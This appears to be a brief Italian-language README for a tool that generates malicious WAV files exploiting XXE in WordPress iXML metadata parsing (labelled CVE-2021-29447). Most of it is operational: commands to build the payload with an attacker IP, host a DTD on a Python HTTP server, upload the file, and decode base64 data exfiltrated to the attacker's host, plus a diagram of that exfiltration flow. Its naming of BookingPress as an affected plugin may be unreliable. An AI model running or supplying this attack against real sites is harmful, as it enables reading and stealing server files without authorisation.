0xricksanchez/cve-2021-29447Un generatore di payload XXE
Genera file WAV dannosi che sfruttano vulnerabilità XXE nei plugin WordPress che analizzano blocchi di metadati iXML (es. BookingPress < 1.0.11).
# Generate exploit files
python3 expl.py -i 10.10.14.204 -p 9200
# Avvia server HTTP
python3 -m http.server 9200
# Carica exploit.wav sul target
# Monitora i log per l'esfiltrazione dati
# Decodifica i dati esfiltrati
echo "BASE64_STRING" | base64 -d
┌──────────┐ 1. Upload ┌──────────┐
│ Attacker │ ───exploit.wav──>│ Target │
└──────────┘ └──────────┘
▲ │
│ │ 2. Parse XML
│ │
│ 3. GET /xxe.dtd │
│<─────────────────────────────┘
│
│ 4. GET /?p=base64_data
│<─────────────────────────────┐
│ │
└─ Decode and read file │